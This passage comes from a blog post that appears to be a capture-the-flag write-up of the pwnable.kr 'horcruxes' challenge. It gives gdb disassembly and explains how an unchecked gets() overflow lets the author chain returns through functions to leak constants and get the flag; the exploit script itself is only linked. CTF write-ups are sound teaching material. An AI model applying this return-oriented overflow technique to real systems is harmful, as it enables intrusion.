0x080a01ed &lt;+118&gt;:   cmp    edx,0xcafebabe<br>   0x080a01f3 &lt;+124&gt;:   setae  al<br>   0x080a01f6 &lt;+127&gt;:   movzx  eax,al<br>   0x080a01f9 &lt;+130&gt;:   imul   eax,eax,0xcafebabe<br>   0x080a01ff &lt;+136&gt;:   sub    edx,eax<br>   0x080a0201 &lt;+138&gt;:   mov    eax,edx<br>   0x080a0203 &lt;+140&gt;:   mov    ds:0x80a2088,eax<br>   0x080a0208 &lt;+145&gt;:   call   0x809fd00 &lt;rand@plt&gt;<br>   0x080a020d &lt;+150&gt;:   imul   edx,eax,0xdeadbeef<br>   0x080a0213 &lt;+156&gt;:   cmp    edx,0xcafebabe<br>   0x080a0219 &lt;+162&gt;:   setae  al<br>   0x080a021c &lt;+165&gt;:   movzx  eax,al<br>   0x080a021f &lt;+168&gt;:   imul   eax,eax,0xcafebabe<br>   0x080a0225 &lt;+174&gt;:   sub    edx,eax<br>   0x080a0227 &lt;+176&gt;:   mov    eax,edx<br>   0x080a0229 &lt;+178&gt;:   mov    ds:0x80a2070,eax<br>   0x080a022e &lt;+183&gt;:   call   0x809fd00 &lt;rand@plt&gt;</strong><br>   0x080a0233 &lt;+188&gt;:   imul   edx,eax,0xdeadbeef<br>   0x080a0239 &lt;+194&gt;:   cmp    edx,0xcafebabe<br>   0x080a023f &lt;+200&gt;:   setae  al<br>   0x080a0242 &lt;+203&gt;:   movzx  eax,al<br>   0x080a0245 &lt;+206&gt;:   imul   eax,eax,0xcafebab</pre><pre>   .</pre><pre>   0x080a02c1 &lt;+330&gt;:   mov    ds:0x80a2074,eax<br>   0x080a02c6 &lt;+335&gt;:   call   0x809fd00 &lt;rand@plt&gt;<br>   0x080a02cb &lt;+340&gt;:   imul   edx,eax,0xdeadbeef<br>   0x080a02d1 &lt;+346&gt;:   cmp    edx,0xcafebabe<br>   0x080a02d7 &lt;+352&gt;:   setae  al<br>   0x080a02da &lt;+355&gt;:   movzx  eax,al<br>   0x080a02dd &lt;+358&gt;:   imul   eax,eax,0xcafebabe<br>   0x080a02e3 &lt;+364&gt;:   sub    edx,eax<br>   0x080a02e5 &lt;+366&gt;:   mov    eax,edx<br><strong>   0x080a02e7 &lt;+368&gt;:   mov    ds:0x80a207c,eax<br>   0x080a02ec &lt;+373&gt;:   mov    edx,DWORD PTR ds:0x80a2088<br>   0x080a02f2 &lt;+379&gt;:   mov    eax,ds:0x80a2070<br>   0x080a02f7 &lt;+384&gt;:   add    edx,eax<br>   0x080a02f9 &lt;+386&gt;:   mov    eax,ds:0x80a2084<br>   0x080a02fe &lt;+391&gt;:   add    edx,eax<br>   0x080a0300 &lt;+393&gt;:   mov    eax,ds:0x80a206c<br>   0x080a0305 &lt;+398&gt;:   add    edx,eax<br>   0x080a0307 &lt;+400&gt;:   mov    eax,ds:0x80a2080<br>   0x080a030c &lt;+405&gt;:   add    edx,eax<br>   0x080a030e &lt;+407&gt;:   mov    eax,ds:0x80a2074<br>   0x080a0313 &lt;+412&gt;:   add    edx,eax<br>   0x080a0315 &lt;+414&gt;:   mov    eax,ds:0x80a207c<br>   0x080a031a &lt;+419&gt;:   add    eax,edx<br>   0x080a031c &lt;+421&gt;:   mov    ds:0x80a2078,eax</strong><br>   0x080a0321 &lt;+426&gt;:   nop<br>   0x080a0322 &lt;+427&gt;:   leave  <br>   0x080a0323 &lt;+428&gt;:   ret</pre><p>The init function reads some bytes from /dev/urandom and then performs arithmetic operations and sets constants in memory. In the end it sums these constants and saves the sum of these at <strong>ds:0x80a2078</strong>.</p><p>After initializing and setting seccomp profiles. ropme is called next.</p><pre>gdb-peda$ disassemble ropme<br>Dump of assembler code for function ropme:<br>   0x080a0009 &lt;+0&gt;:     push   ebp<br>   0x080a000a &lt;+1&gt;:     mov    ebp,esp<br>   0x080a000c &lt;+3&gt;:     sub    esp,0x78<br>   0x080a000f &lt;+6&gt;:     sub    esp,0xc<br>   0x080a0012 &lt;+9&gt;:     push   0x80a050c<br>   0x080a0017 &lt;+14&gt;:    call   0x809fc40 &lt;printf@plt&gt;<br>   0x080a001c &lt;+19&gt;:    add    esp,0x10<br>   0x080a001f &lt;+22&gt;:    sub    esp,0x8<br>   0x080a0022 &lt;+25&gt;:    lea    eax,[ebp-0x10]<br>   0x080a0025 &lt;+28&gt;:    push   eax<br>   0x080a0026 &lt;+29&gt;:    push   0x80a0519<br>   0x080a002b &lt;+34&gt;:    call   0x809fd10 &lt;__isoc99_scanf@plt&gt;<br>   0x080a0030 &lt;+39&gt;:    add    esp,0x10<br>   0x080a0033 &lt;+42&gt;:    call   0x809fc70 &lt;getchar@plt&gt;<br>   0x080a0038 &lt;+47&gt;:    mov    edx,DWORD PTR [ebp-0x10]<br>   0x080a003b &lt;+50&gt;:    mov    eax,ds:0x80a2088<br>   0x080a0040 &lt;+55&gt;:    cmp    edx,eax<br>   0x080a0042 &lt;+57&gt;:    jne    0x80a004e &lt;ropme+69&gt;<br>   0x080a0044 &lt;+59&gt;:    call   0x809fe4b &lt;A&gt;<br>   0x080a0049 &lt;+64&gt;:    jmp    0x80a0170 &lt;ropme+359&gt;<br>   0x080a004e &lt;+69&gt;:    mov    edx,DWORD PTR [ebp-0x10]<br>   0x080a0051 &lt;+72&gt;:    mov    eax,ds:<strong>0x80a2070</strong><br>   0x080a0056 &lt;+77&gt;:    cmp    edx,eax<br>   0x080a0058 &lt;+79&gt;:    jne    0x80a0064 &lt;ropme+91&gt;<br>   0x080a005a &lt;+81&gt;:    call   0x809fe6a &lt;B&gt;<br>   0x080a005f &lt;+86&gt;:    jmp    0x80a0170 &lt;ropme+359&gt;<br>   0x080a0064 &lt;+91&gt;:    mov    edx,DWORD PTR [ebp-0x10]<br>   0x080a0067 &lt;+94&gt;:    mov    eax,ds:0x80a2084<br>   0x080a006c &lt;+99&gt;:    cmp    edx,eax<br>   0x080a006e &lt;+101&gt;:   jne    0x80a007a &lt;ropme+113&gt;<br>   0x080a0070 &lt;+103&gt;:   call   0x809fe89 &lt;C&gt;<br>   .<br>   .<br>   .<br>   0x080a00da &lt;+209&gt;:   call   0x809fc40 &lt;printf@plt&gt;<br>   0x080a00df &lt;+214&gt;:   add    esp,0x10<br>   0x080a00e2 &lt;+217&gt;:   sub    esp,0xc<br>   0x080a00e5 &lt;+220&gt;:   lea    eax,[ebp-0x74]<br>   0x080a00e8 &lt;+223&gt;:   push   eax<br>   0x080a00e9 &lt;+224&gt;:   call   0x809fc50 &lt;gets@plt&gt;<br>   0x080a00ee &lt;+229&gt;:   add    esp,0x10<br>   0x080a00f1 &lt;+232&gt;:   sub    esp,0xc<br>   0x080a00f4 &lt;+235&gt;:   lea    eax,[ebp-0x74]<br>   0x080a00f7 &lt;+238&gt;:   push   eax<br>   0x080a00f8 &lt;+239&gt;:   call   0x809fd20 &lt;atoi@plt&gt;<br>   0x080a00fd &lt;+244&gt;:   add    esp,0x10<br>   0x080a0100 &lt;+247&gt;:   mov    edx,eax<br>   0x080a0102 &lt;+249&gt;:   mov    eax,ds:<strong>0x80a2078</strong><br>   0x080a0107 &lt;+254&gt;:   cmp    edx,eax<br>   0x080a0109 &lt;+256&gt;:   jne    0x80a0160 &lt;ropme+343&gt;<br>   0x080a010b &lt;+258&gt;:   sub    esp,0x8<br><strong>   0x080a010e &lt;+261&gt;:   push   0x0<br>   0x080a0110 &lt;+263&gt;:   push   0x80a053c<br>   0x080a0115 &lt;+268&gt;:   call   0x809fcc0 &lt;open@plt&gt;<br>   0x080a011a &lt;+273&gt;:   add    esp,0x10<br>   0x080a011d &lt;+276&gt;:   mov    DWORD PTR [ebp-0xc],eax<br>   0x080a0120 &lt;+279&gt;:   sub    esp,0x4<br>   0x080a0123 &lt;+282&gt;:   push   0x64<br>   0x080a0125 &lt;+284&gt;:   lea    eax,[ebp-0x74]<br>   0x080a0128 &lt;+287&gt;:   push   eax<br>   0x080a0129 &lt;+288&gt;:   push   DWORD PTR [ebp-0xc]<br>   0x080a012c &lt;+291&gt;:   call   0x809fc30 &lt;read@plt&gt;<br>   0x080a0131 &lt;+296&gt;:   add    esp,0x10<br>   0x080a0134 &lt;+299&gt;:   mov    BYTE PTR [ebp+eax*1-0x74],0x0<br>   0x080a0139 &lt;+304&gt;:   sub    esp,0xc<br>   0x080a013c &lt;+307&gt;:   lea    eax,[ebp-0x74]<br>   0x080a013f &lt;+310&gt;:   push   eax<br>   0x080a0140 &lt;+311&gt;:   call   0x809fca0 &lt;puts@plt&gt;<br>   0x080a0145 &lt;+316&gt;:   add    esp,0x10<br>   0x080a0148 &lt;+319&gt;:   sub    esp,0xc<br>   0x080a014b &lt;+322&gt;:   push   DWORD PTR [ebp-0xc]<br>   0x080a014e &lt;+325&gt;:   call   0x809fd30 &lt;close@plt&gt;<br>   0x080a0153 &lt;+330&gt;:   add    esp,0x10<br>   0x080a0156 &lt;+333&gt;:   sub    esp,0xc<br>   0x080a0159 &lt;+336&gt;:   push   0x0<br>   0x080a015b &lt;+338&gt;:   call   0x809fcb0 &lt;exit@plt&gt;<br>   0x080a0160 &lt;+343&gt;:   sub    esp,0xc<br>   0x080a0163 &lt;+346&gt;:   push   0x80a0544<br>   0x080a0168 &lt;+351&gt;:   call   0x809fca0 &lt;puts@plt&gt;</strong><br>   0x080a016d &lt;+356&gt;:   add    esp,0x10<br>   0x080a0170 &lt;+359&gt;:   mov    eax,0x0<br>   0x080a0175 &lt;+364&gt;:   leave  <br>   0x080a0176 &lt;+365&gt;:   ret</pre><p>The integer we provide in the menu prompt is compared with constants we saw earlier. If we provide the correct integer it calls the function (A, B, C, …) that contains the horcrux.</p><p>At the end of the function there is a <strong>gets </strong>(vulnerable!!) call that asks us how much EXP we got. The EXP is then compared with the constant <strong>0x80a2078 </strong>which is just the sum of our constants. If the sum we provide is accurate the program opens the flag for us.</p><p>Lets check out disassembly of these functions (A, B, C, …):</p><pre>gdb-peda$ disassemble A<br>Dump of assembler code for function A:<br>   0x0809fe4b &lt;+0&gt;:     push   ebp<br>   0x0809fe4c &lt;+1&gt;:     mov    ebp,esp<br>   0x0809fe4e &lt;+3&gt;:     sub    esp,0x8<br>   0x0809fe51 &lt;+6&gt;:     mov    eax,ds:0x80a2088<br>   0x0809fe56 &lt;+11&gt;:    sub    esp,0x8<br>   0x0809fe59 &lt;+14&gt;:    push   eax<br>   0x0809fe5a &lt;+15&gt;:    push   0x80a03d0<br>   0x0809fe5f &lt;+20&gt;:    call   0x809fc40 &lt;printf@plt&gt;<br>   0x0809fe64 &lt;+25&gt;:    add    esp,0x10<br>   0x0809fe67 &lt;+28&gt;:    nop<br>   0x0809fe68 &lt;+29&gt;:    leave  <br>   0x0809fe69 &lt;+30&gt;:    ret    <br>End of assembler dump.<br>gdb-peda$ x/1s 0x80a03d0<br>0x80a03d0:      &quot;You found \&quot;Tom Riddle&#39;s Diary\&quot; (EXP +%d)\n&quot;<br>gdb-peda$</pre><p>Alright so it spits out the constant and prints out that we found a horcrux. The task is now clear, we need to exploit the overflow at the end of the function. Control the execution flow and print out all the horcruxes one by one.</p><p>At first, I thought why not just jump to the part of the code that spits out the flag, we won’t need to leak any constants. Interestingly the author probably thought about this already, if you check the addresses of ropme. The addresses start with <strong>0x080a, </strong>0xa is a newline character and gets will stop receiving our input after that.</p><p>We can easily figure out the addresses to each of the horcrux routines. Just by looking at the disassembly. All we need to do is control the EIP after the gets call to pass flow to A, B, C … G and then to ropme again and finally enter the sum of the leaked constants to get the flag.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d78abfeb6bcd85b8ccbe543fa8b58260/href">https://medium.com/media/d78abfeb6bcd85b8ccbe543fa8b58260/href</a></iframe><p>There we have our final exploit. Lets see it in action:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*vqOY8SwdflPhi24OtU-ZBg.png" /><figcaption>Horcruxes</figcaption></figure><p>There we go! I am no longer feeding on toddler’s bottle anymore :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gqY4Nab2vrT-7LSDJL8hCA.png" /><figcaption>pwnable.kr, toddler’s bottle</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58d541b774d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/roping-horcruxes-pwnable-kr-58d541b774d">ROPing Horcruxes, pwnable.kr</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>